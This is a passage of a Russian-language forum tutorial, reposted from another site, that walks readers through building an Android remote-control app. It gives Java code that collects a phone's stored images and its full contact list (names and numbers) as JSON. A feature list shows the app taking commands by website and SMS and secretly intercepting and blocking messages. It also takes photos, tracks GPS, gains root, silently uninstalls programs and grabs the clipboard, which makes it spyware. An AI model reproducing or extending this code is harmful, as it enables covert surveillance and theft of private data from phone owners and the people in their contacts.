        List<JSONObject> ImagesList = new ArrayList<>();
        try {
            Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
            String[] projection = { MediaStore.Images.Media._ID,
                                    MediaStore.Images.Media.BUCKET_ID,
                                    MediaStore.Images.Media.BUCKET_DISPLAY_NAME,
                                    MediaStore.Images.Media.DATA,
                                    MediaStore.Images.Media.DATE_TAKEN,
                                    MediaStore.Images.Media.DISPLAY_NAME,
                                    MediaStore.Images.Media.SIZE };

            Cursor cur = context.getApplicationContext().getContentResolver().query(uri, projection, null, null, null);
            while (cur.moveToNext()) {
                ImageBean listImagesBean = new ImageBean();
                listImagesBean.setImageDisplayName(cur.getString(5));
                listImagesBean.setImageId(cur.getString(0));
                listImagesBean.setImageSize(cur.getString(6));
                listImagesBean.setImageData(cur.getString(3));
                ImagesList.add(listImagesBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ImagesList;
    }

}
Точно так же создаем папку contacts с файлами.
1572339371163.png


ContactsBean
Java:
package com.tranos.app.mobilehardware.contacts;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ContactsBean extends BaseBean  {

    private static final String TAG = ContactsBean.class.getSimpleName();

    private String contactName;
    private String contactId;
    private String contactNumber;

    public String getContactName() { return  contactName; }
    public String getContactId() { return  contactId; }
    public String getContactNumber() { return  contactNumber; }

    public void setContactName(String contactName) { this.contactName = contactName; }
    public void setContactId(String contactId) { this.contactId = contactId; }
    public void setContactNumber(String contactNumber) { this.contactNumber = contactNumber; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.CONTACTS.CONTACT_NAME, isEmpty(contactName));
            jsonObject.put(BaseData.CONTACTS.CONTACT_ID, isEmpty(contactId));
            jsonObject.put(BaseData.CONTACTS.CONTACT_NUMBER, isEmpty(contactNumber));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ContactsHelper
Java:
package com.tranos.app.mobilehardware.contacts;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ContactsHelper extends  ContactsInfo {
    public static List<JSONObject> getAllContacts(Context context) { return getMobContacts(context); }
}

ContactsInfo
Java:
package com.tranos.app.mobilehardware.contacts;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ContactsInfo {

    private static final String TAG = ContactsInfo.class.getSimpleName();

    static List<JSONObject> getMobContacts(Context context) {
        List<JSONObject> ContactsList = new ArrayList<>();
        try {
            Cursor cur = context.getApplicationContext().getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null);
            while (cur.moveToNext()) {
                ContactsBean contactsBean = new ContactsBean();
                contactsBean.setContactName(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)));
                String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                contactsBean.setContactId(id);
                if (Integer.parseInt(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
                    Cursor p = context.getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{id}, null);
                    while(p.moveToNext()){
                        contactsBean.setContactNumber(p.getString(p.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
                    }
                }

                ContactsList.add(contactsBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ContactsList;
    }
}
Ну что, не устали еще копировать код ? Надеюсь что да, потому как эта статья подошла к концу.

5. Заключение
Надеюсь Вас радуют бонусы так же как и меня радует что Вы голосуете на опросах. Чем больше отклик, тем больше информации предоставляю. Все таки куда приятнее писать статьи, когда знаешь что они делаются не в пустую. Если где-то допустил ошибки или у Вас возникают ошибки в коде, пишите в комментарии или в личку. Думаю что не стоит писать результат того что мы сегодня сделали как я делаю это обычно, так что сразу перейду к списку функционала.
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @feature
  4. Управление смартфоном через meterpreter (привет фанатам Kali Linux) @issue
  5. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @feature
    3. Удаление сообщение @todo
    4. Перехват сообщений @feature
    5. Блокировка сообщений @feature
    6. Отправка сообщений @feature
  6. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем @todo
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @feature (new)
    6. Запись звонков
  7. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  8. Запись звука
  9. Получение данных GPS @feature
  10. Получение списка контактов с телефона @feature
  11. Получение медиа (фотографий) @feature
  12. Доступ к проводнику (доступ к файловой системе)
  13. Получение информации об устройстве (куда же без нее) @feature
  14. Проверка есть ли Root права @feature
  15. Проверка есть ли Root права у программы @feature
  16. Получение Root прав @feature
  17. Перезагрузка (root) @feature
  18. Выключение (root) @feature
  19. Получение буфера обмена @feature
  20. Управление фонарем устройства @feature
  21. Скрытное удаление программ (root) @feature
  22. Управление смартфоном
    1. Громкость @feature (new)
    2. Яркость @todo
    3. Скриншот экрана (root) @feature (new)
    4. Включение экрана @feature (new)
    5. Открытие ссылок в браузере @feature (new)
    6. Обои
    7. Прочее

Автор
взято с codeby
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх